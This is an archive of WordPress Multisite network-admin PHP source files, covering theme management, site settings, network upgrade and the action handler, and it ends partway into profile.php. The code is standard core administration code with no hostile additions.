<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-users.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php
/**
 * Fires after the list table on the Users screen in the Multisite Network Admin.
 *
 * @since 3.1.0
 */
do_action( 'network_site_users_after_list_table' );

/** This filter is documented in wp-admin/network/site-users.php */
if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) :
	?>
<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
<form action="site-users.php?action=adduser" id="adduser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_adduser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
</form>
<?php endif; ?>

<?php
/**
 * Filters whether to show the Add New User form on the Multisite Users screen.
 *
 * Note: While WordPress is moving towards simplifying labels by removing "New" from "Add New X" labels,
 * we keep "Add New User" here to maintain a clear distinction from the "Add Existing User" section above.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add New User form. Default true.
 */
if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) :
	?>
<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
<form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_newuser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
</form>
<?php endif; ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
themes.php000064400000037165151007247650006565 0ustar00<?php
/**
 * Multisite themes administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_themes' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage network themes.' ) );
}

$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();

$action = $wp_list_table->current_action();

$s = isset( $_REQUEST['s'] ) ? $_REQUEST['s'] : '';

// Clean up request URI from temporary args for screen options/paging uri's to work as expected.
$temp_args = array(
	'enabled',
	'disabled',
	'deleted',
	'error',
	'enabled-auto-update',
	'disabled-auto-update',
);

$_SERVER['REQUEST_URI'] = remove_query_arg( $temp_args, $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( $temp_args, wp_get_referer() );

if ( $action ) {
	switch ( $action ) {
		case 'enable':
			check_admin_referer( 'enable-theme_' . $_GET['theme'] );
			WP_Theme::network_enable_theme( $_GET['theme'] );
			if ( ! str_contains( $referer, '/network/themes.php' ) ) {
				wp_redirect( network_admin_url( 'themes.php?enabled=1' ) );
			} else {
				wp_safe_redirect( add_query_arg( 'enabled', 1, $referer ) );
			}
			exit;
		case 'disable':
			check_admin_referer( 'disable-theme_' . $_GET['theme'] );
			WP_Theme::network_disable_theme( $_GET['theme'] );
			wp_safe_redirect( add_query_arg( 'disabled', '1', $referer ) );
			exit;
		case 'enable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_enable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'enabled', count( $themes ), $referer ) );
			exit;
		case 'disable-selected':
			check_admin_referer( 'bulk-themes' );
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			WP_Theme::network_disable_theme( (array) $themes );
			wp_safe_redirect( add_query_arg( 'disabled', count( $themes ), $referer ) );
			exit;
		case 'update-selected':
			check_admin_referer( 'bulk-themes' );

			if ( isset( $_GET['themes'] ) ) {
				$themes = explode( ',', $_GET['themes'] );
			} elseif ( isset( $_POST['checked'] ) ) {
				$themes = (array) $_POST['checked'];
			} else {
				$themes = array();
			}

			// Used in the HTML title tag.
			$title       = __( 'Update Themes' );
			$parent_file = 'themes.php';

			require_once ABSPATH . 'wp-admin/admin-header.php';

			echo '<div class="wrap">';
			echo '<h1>' . esc_html( $title ) . '</h1>';

			$url = self_admin_url( 'update.php?action=update-selected-themes&amp;themes=' . urlencode( implode( ',', $themes ) ) );
			$url = wp_nonce_url( $url, 'bulk-update-themes' );

			echo "<iframe src='$url' style='width: 100%; height:100%; min-height:850px;'></iframe>";
			echo '</div>';
			require_once ABSPATH . 'wp-admin/admin-footer.php';
			exit;
		case 'delete-selected':
			if ( ! current_user_can( 'delete_themes' ) ) {
				wp_die( __( 'Sorry, you are not allowed to delete themes for this site.' ) );
			}

			check_admin_referer( 'bulk-themes' );

			$themes = isset( $_REQUEST['checked'] ) ? (array) $_REQUEST['checked'] : array();

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}

			$themes = array_diff( $themes, array( get_option( 'stylesheet' ), get_option( 'template' ) ) );

			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'main', $referer ) );
				exit;
			}

			$theme_info = array();
			foreach ( $themes as $key => $theme ) {
				$theme_info[ $theme ] = wp_get_theme( $theme );
			}

			require ABSPATH . 'wp-admin/update.php';

			$parent_file = 'themes.php';

			if ( ! isset( $_REQUEST['verify-delete'] ) ) {
				wp_enqueue_script( 'jquery' );
				require_once ABSPATH . 'wp-admin/admin-header.php';
				$themes_to_delete = count( $themes );
				?>
				<div class="wrap">
				<?php if ( 1 === $themes_to_delete ) : ?>
					<h1><?php _e( 'Delete Theme' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'This theme may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following theme:' ); ?></p>
				<?php else : ?>
					<h1><?php _e( 'Delete Themes' ); ?></h1>
					<?php
					wp_admin_notice(
						'<strong>' . __( 'Caution:' ) . '</strong> ' . __( 'These themes may be active on other sites in the network.' ),
						array(
							'additional_classes' => array( 'error' ),
						)
					);
					?>
					<p><?php _e( 'You are about to remove the following themes:' ); ?></p>
				<?php endif; ?>
					<ul class="ul-disc">
					<?php
					foreach ( $theme_info as $theme ) {
						echo '<li>' . sprintf(
							/* translators: 1: Theme name, 2: Theme author. */
							_x( '%1$s by %2$s', 'theme' ),
							'<strong>' . $theme->display( 'Name' ) . '</strong>',
							'<em>' . $theme->display( 'Author' ) . '</em>'
						) . '</li>';
					}
					?>
					</ul>
				<?php if ( 1 === $themes_to_delete ) : ?>
					<p><?php _e( 'Are you sure you want to delete this theme?' ); ?></p>
				<?php else : ?>
					<p><?php _e( 'Are you sure you want to delete these themes?' ); ?></p>
				<?php endif; ?>
				<form method="post" action="<?php echo esc_url( $_SERVER['REQUEST_URI'] ); ?>" style="display:inline;">
					<input type="hidden" name="verify-delete" value="1" />
					<input type="hidden" name="action" value="delete-selected" />
					<?php

					foreach ( (array) $themes as $theme ) {
						echo '<input type="hidden" name="checked[]" value="' . esc_attr( $theme ) . '" />';
					}

					wp_nonce_field( 'bulk-themes' );

					if ( 1 === $themes_to_delete ) {
						submit_button( __( 'Yes, delete this theme' ), '', 'submit', false );
					} else {
						submit_button( __( 'Yes, delete these themes' ), '', 'submit', false );
					}

					?>
				</form>
				<?php $referer = wp_get_referer(); ?>
				<form method="post" action="<?php echo $referer ? esc_url( $referer ) : ''; ?>" style="display:inline;">
					<?php submit_button( __( 'No, return me to the theme list' ), '', 'submit', false ); ?>
				</form>
				</div>
				<?php

				require_once ABSPATH . 'wp-admin/admin-footer.php';
				exit;
			} // End if verify-delete.

			foreach ( $themes as $theme ) {
				$delete_result = delete_theme(
					$theme,
					esc_url(
						add_query_arg(
							array(
								'verify-delete' => 1,
								'action'        => 'delete-selected',
								'checked'       => $_REQUEST['checked'],
								'_wpnonce'      => $_REQUEST['_wpnonce'],
							),
							network_admin_url( 'themes.php' )
						)
					)
				);
			}

			$paged = ( $_REQUEST['paged'] ) ? $_REQUEST['paged'] : 1;
			wp_redirect(
				add_query_arg(
					array(
						'deleted' => count( $themes ),
						'paged'   => $paged,
						's'       => $s,
					),
					network_admin_url( 'themes.php' )
				)
			);
			exit;
		case 'enable-auto-update':
		case 'disable-auto-update':
		case 'enable-auto-update-selected':
		case 'disable-auto-update-selected':
			if ( ! ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to change themes automatic update settings.' ) );
			}

			if ( 'enable-auto-update' === $action || 'disable-auto-update' === $action ) {
				check_admin_referer( 'updates' );
			} else {
				if ( empty( $_POST['checked'] ) ) {
					// Nothing to do.
					wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
					exit;
				}

				check_admin_referer( 'bulk-themes' );
			}

			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );

			if ( 'enable-auto-update' === $action ) {
				$auto_updates[] = $_GET['theme'];
				$auto_updates   = array_unique( $auto_updates );
				$referer        = add_query_arg( 'enabled-auto-update', 1, $referer );
			} elseif ( 'disable-auto-update' === $action ) {
				$auto_updates = array_diff( $auto_updates, array( $_GET['theme'] ) );
				$referer      = add_query_arg( 'disabled-auto-update', 1, $referer );
			} else {
				// Bulk enable/disable.
				$themes = (array) wp_unslash( $_POST['checked'] );

				if ( 'enable-auto-update-selected' === $action ) {
					$auto_updates = array_merge( $auto_updates, $themes );
					$auto_updates = array_unique( $auto_updates );
					$referer      = add_query_arg( 'enabled-auto-update', count( $themes ), $referer );
				} else {
					$auto_updates = array_diff( $auto_updates, $themes );
					$referer      = add_query_arg( 'disabled-auto-update', count( $themes ), $referer );
				}
			}

			$all_items = wp_get_themes();

			// Remove themes that don't exist or have been deleted since the option was last updated.
			$auto_updates = array_intersect( $auto_updates, array_keys( $all_items ) );

			update_site_option( 'auto_update_themes', $auto_updates );

			wp_safe_redirect( $referer );
			exit;
		default:
			$themes = isset( $_POST['checked'] ) ? (array) $_POST['checked'] : array();
			if ( empty( $themes ) ) {
				wp_safe_redirect( add_query_arg( 'error', 'none', $referer ) );
				exit;
			}
			check_admin_referer( 'bulk-themes' );

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $themes ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			wp_safe_redirect( $referer );
			exit;
	}
}

$wp_list_table->prepare_items();

add_thickbox();

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This screen enables and disables the inclusion of themes available to choose in the Appearance menu for each site. It does not activate or deactivate which theme a site is currently using.' ) . '</p>' .
			'<p>' . __( 'If the network admin disables a theme that is in use, it can still remain selected on that site. If another theme is chosen, the disabled theme will not appear in the site&#8217;s Appearance > Themes screen.' ) . '</p>' .
			'<p>' . __( 'Themes can be enabled on a site by site basis by the network admin on the Edit Site screen (which has a Themes tab); get there via the Edit action link on the All Sites screen. Only network admins are able to install or edit themes.' ) . '</p>',
	)
);

$help_sidebar_autoupdates = '';

if ( current_user_can( 'update_themes' ) && wp_is_auto_update_enabled_for_type( 'theme' ) ) {
	get_current_screen()->add_help_tab(
		array(
			'id'      => 'plugins-themes-auto-updates',
			'title'   => __( 'Auto-updates' ),
			'content' =>
				'<p>' . __( 'Auto-updates can be enabled or disabled for each individual theme. Themes with auto-updates enabled will display the estimated date of the next auto-update. Auto-updates depends on the WP-Cron task scheduling system.' ) . '</p>' .
				'<p>' . __( 'Please note: Third-party themes and plugins, or custom code, may override WordPress scheduling.' ) . '</p>',
		)
	);

	$help_sidebar_autoupdates = '<p>' . __( '<a href="https://wordpress.org/documentation/article/plugins-themes-auto-updates/">Documentation on Auto-updates</a>' ) . '</p>';
}

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Themes_Screen">Documentation on Network Themes</a>' ) . '</p>' .
	$help_sidebar_autoupdates .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter themes list' ),
		'heading_pagination' => __( 'Themes list navigation' ),
		'heading_list'       => __( 'Themes list' ),
	)
);

// Used in the HTML title tag.
$title       = __( 'Themes' );
$parent_file = 'themes.php';

wp_enqueue_script( 'updates' );
wp_enqueue_script( 'theme-preview' );

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 class="wp-heading-inline"><?php echo esc_html( $title ); ?></h1>

<?php if ( current_user_can( 'install_themes' ) ) : ?>
	<a href="theme-install.php" class="page-title-action"><?php echo esc_html__( 'Add Theme' ); ?></a>
<?php endif; ?>

<?php
if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
	echo '<span class="subtitle">';
	printf(
		/* translators: %s: Search query. */
		__( 'Search results for: %s' ),
		'<strong>' . esc_html( $s ) . '</strong>'
	);
	echo '</span>';
}
?>

<hr class="wp-header-end">

<?php
$message = '';
$type    = 'success';

if ( isset( $_GET['enabled'] ) ) {
	$enabled = absint( $_GET['enabled'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme enabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme enabled.', '%s themes enabled.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled'] ) ) {
	$disabled = absint( $_GET['disabled'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme disabled.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme disabled.', '%s themes disabled.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['deleted'] ) ) {
	$deleted = absint( $_GET['deleted'] );
	if ( 1 === $deleted ) {
		$message = __( 'Theme deleted.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme deleted.', '%s themes deleted.', $deleted ),
			number_format_i18n( $deleted )
		);
	}
} elseif ( isset( $_GET['enabled-auto-update'] ) ) {
	$enabled = absint( $_GET['enabled-auto-update'] );
	if ( 1 === $enabled ) {
		$message = __( 'Theme will be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will be auto-updated.', '%s themes will be auto-updated.', $enabled ),
			number_format_i18n( $enabled )
		);
	}
} elseif ( isset( $_GET['disabled-auto-update'] ) ) {
	$disabled = absint( $_GET['disabled-auto-update'] );
	if ( 1 === $disabled ) {
		$message = __( 'Theme will no longer be auto-updated.' );
	} else {
		$message = sprintf(
			/* translators: %s: Number of themes. */
			_n( '%s theme will no longer be auto-updated.', '%s themes will no longer be auto-updated.', $disabled ),
			number_format_i18n( $disabled )
		);
	}
} elseif ( isset( $_GET['error'] ) && 'none' === $_GET['error'] ) {
	$message = __( 'No theme selected.' );
	$type    = 'error';
} elseif ( isset( $_GET['error'] ) && 'main' === $_GET['error'] ) {
	$message = __( 'You cannot delete a theme while it is active on the main site.' );
	$type    = 'error';
}

if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>

<form method="get">
<?php $wp_list_table->search_box( __( 'Search installed themes' ), 'theme' ); ?>
</form>

<?php
$wp_list_table->views();

if ( 'broken' === $status ) {
	echo '<p class="clear">' . __( 'The following themes are installed but incomplete.' ) . '</p>';
}
?>

<form id="bulk-action-form" method="post">
<input type="hidden" name="theme_status" value="<?php echo esc_attr( $status ); ?>" />
<input type="hidden" name="paged" value="<?php echo esc_attr( $page ); ?>" />

<?php $wp_list_table->display(); ?>
</form>

</div>

<?php
wp_print_request_filesystem_credentials_modal();
wp_print_admin_notice_templates();
wp_print_update_row_templates();

require_once ABSPATH . 'wp-admin/admin-footer.php';
plugins.php000064400000000371151007247650006746 0ustar00<?php
/**
 * Network Plugins administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugins.php';
credits.php000064400000000371151007247650006722 0ustar00<?php
/**
 * Network Credits administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/credits.php';
site-settings.php000064400000012772151007247650010077 0ustar00<?php
/**
 * Edit Site Settings Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ) );
}

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

if ( isset( $_REQUEST['action'] ) && 'update-site' === $_REQUEST['action'] && is_array( $_POST['option'] ) ) {
	check_admin_referer( 'edit-site' );

	switch_to_blog( $id );

	$skip_options = array( 'allowedthemes' ); // Don't update these options since they are handled elsewhere in the form.
	foreach ( (array) $_POST['option'] as $key => $val ) {
		$key = wp_unslash( $key );
		$val = wp_unslash( $val );
		if ( 0 === $key || is_array( $val ) || in_array( $key, $skip_options, true ) ) {
			continue; // Avoids "0 is a protected WP option and may not be modified" error when editing blog options.
		}
		update_option( $key, $val );
	}

	/**
	 * Fires after the site options are updated.
	 *
	 * @since 3.0.0
	 * @since 4.4.0 Added `$id` parameter.
	 *
	 * @param int $id The ID of the site being updated.
	 */
	do_action( 'wpmu_update_blog_options', $id );

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				'update' => 'updated',
				'id'     => $id,
			),
			'site-settings.php'
		)
	);
	exit;
}

if ( isset( $_GET['update'] ) ) {
	$messages = array();
	if ( 'updated' === $_GET['update'] ) {
		$messages[] = __( 'Site options updated.' );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

?>

<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>

<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-settings',
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		'type'        => 'success',
		'dismissible' => true,
		'id'          => 'message',
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?>
<form method="post" action="site-settings.php?action=update-site">
	<?php wp_nonce_field( 'edit-site' ); ?>
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<?php
		$blog_prefix = $wpdb->get_blog_prefix( $id );
		$sql         = "SELECT * FROM {$blog_prefix}options
			WHERE option_name NOT LIKE %s
			AND option_name NOT LIKE %s";
		$query       = $wpdb->prepare(
			$sql,
			$wpdb->esc_like( '_' ) . '%',
			'%' . $wpdb->esc_like( 'user_roles' )
		);
		$options     = $wpdb->get_results( $query );

		foreach ( $options as $option ) {
			if ( 'default_role' === $option->option_name ) {
				$editblog_default_role = $option->option_value;
			}

			$disabled = false;
			$class    = 'all-options';

			if ( is_serialized( $option->option_value ) ) {
				if ( is_serialized_string( $option->option_value ) ) {
					$option->option_value = esc_html( maybe_unserialize( $option->option_value ) );
				} else {
					$option->option_value = 'SERIALIZED DATA';
					$disabled             = true;
					$class                = 'all-options disabled';
				}
			}

			if ( str_contains( $option->option_value, "\n" ) ) {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<td><textarea class="<?php echo $class; ?>" rows="5" cols="40" name="option[<?php echo esc_attr( $option->option_name ); ?>]" id="<?php echo esc_attr( $option->option_name ); ?>"<?php disabled( $disabled ); ?>><?php echo esc_textarea( $option->option_value ); ?></textarea></td>
				</tr>
				<?php
			} else {
				?>
				<tr class="form-field">
					<th scope="row"><label for="<?php echo esc_attr( $option->option_name ); ?>" class="code"><?php echo esc_html( $option->option_name ); ?></label></th>
					<?php if ( $is_main_site && in_array( $option->option_name, array( 'siteurl', 'home' ), true ) ) { ?>
					<td><code><?php echo esc_html( $option->option_value ); ?></code></td>
					<?php } else { ?>
					<td><input class="<?php echo $class; ?>" name="option[<?php echo esc_attr( $option->option_name ); ?>]" type="text" id="<?php echo esc_attr( $option->option_name ); ?>" value="<?php echo esc_attr( $option->option_value ); ?>" size="40" <?php disabled( $disabled ); ?> /></td>
					<?php } ?>
				</tr>
				<?php
			}
		} // End foreach.

		/**
		 * Fires at the end of the Edit Site form, before the submit button.
		 *
		 * @since 3.0.0
		 *
		 * @param int $id Site ID.
		 */
		do_action( 'wpmueditblogaction', $id );
		?>
	</table>
	<?php submit_button(); ?>
</form>

</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
contribute.php000064400000000377151007247650007451 0ustar00<?php
/**
 * Network Contribute administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 6.3.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/contribute.php';
plugin-editor.php000064400000000412151007247650010043 0ustar00<?php
/**
 * Plugin file editor network administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/plugin-editor.php';
upgrade.php000064400000011546151007247650006722 0ustar00<?php
/**
 * Multisite upgrade administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . WPINC . '/http.php';

// Used in the HTML title tag.
$title       = __( 'Upgrade Network' );
$parent_file = 'upgrade.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' .
			'<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' .
			'<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://developer.wordpress.org/advanced-administration/multisite/admin/#network-admin-updates-screen">Documentation on Upgrade Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( ! current_user_can( 'upgrade_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

echo '<div class="wrap">';
echo '<h1>' . __( 'Upgrade Network' ) . '</h1>';

$action = isset( $_GET['action'] ) ? $_GET['action'] : 'show';

switch ( $action ) {
	case 'upgrade':
		$n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0;

		if ( $n < 5 ) {
			/**
			 * @global int $wp_db_version WordPress database version.
			 */
			global $wp_db_version;
			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
		}

		$site_ids = get_sites(
			array(
				'spam'                   => 0,
				'deleted'                => 0,
				'archived'               => 0,
				'network_id'             => get_current_network_id(),
				'number'                 => 5,
				'offset'                 => $n,
				'fields'                 => 'ids',
				'order'                  => 'DESC',
				'orderby'                => 'id',
				'update_site_meta_cache' => false,
			)
		);
		if ( empty( $site_ids ) ) {
			echo '<p>' . __( 'All done!' ) . '</p>';
			break;
		}
		echo '<ul>';
		foreach ( (array) $site_ids as $site_id ) {
			switch_to_blog( $site_id );
			$siteurl     = site_url();
			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
			restore_current_blog();

			echo "<li>$siteurl</li>";

			$response = wp_remote_get(
				$upgrade_url,
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
					'sslverify'   => false,
				)
			);

			if ( is_wp_error( $response ) ) {
				wp_die(
					sprintf(
						/* translators: 1: Site URL, 2: Server error message. */
						__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
						$siteurl,
						'<em>' . $response->get_error_message() . '</em>'
					)
				);
			}

			/**
			 * Fires after the Multisite DB upgrade for each site is complete.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param array $response The upgrade response array.
			 */
			do_action( 'after_mu_upgrade', $response );

			/**
			 * Fires after each site has been upgraded.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id The Site ID.
			 */
			do_action( 'wpmu_upgrade_site', $site_id );
		}
		echo '</ul>';
		?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p>
		<script type="text/javascript">
		<!--
		function nextpage() {
			location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>";
		}
		setTimeout( "nextpage()", 250 );
		//-->
		</script>
		<?php
		break;
	case 'show':
	default:
		if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $GLOBALS['wp_db_version'] ) :
			?>
		<h2><?php _e( 'Database Update Required' ); ?></h2>
		<p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p>
		<?php endif; ?>

		<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
		<p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
		<?php
		/**
		 * Fires before the footer on the network upgrade screen.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_upgrade_page' );
		break;
}
?>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
edit.php000064400000001614151007247650006213 0ustar00<?php
/**
 * Action handler for Multisite administration panels.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$action = ( isset( $_GET['action'] ) ) ? $_GET['action'] : '';

if ( empty( $action ) ) {
	wp_redirect( network_admin_url() );
	exit;
}

/**
 * Fires just before the action handler in several Network Admin screens.
 *
 * This hook fires on multiple screens in the Multisite Network Admin,
 * including Users, Network Settings, and Site Settings.
 *
 * @since 3.0.0
 */
do_action( 'wpmuadminedit' );

/**
 * Fires the requested handler action.
 *
 * The dynamic portion of the hook name, `$action`, refers to the name
 * of the requested action derived from the `GET` request.
 *
 * @since 3.1.0
 */
do_action( "network_admin_edit_{$action}" );

wp_redirect( network_admin_url() );
exit;
profile.php000064400000000376151007247650006732 0ustar00<?php
/**
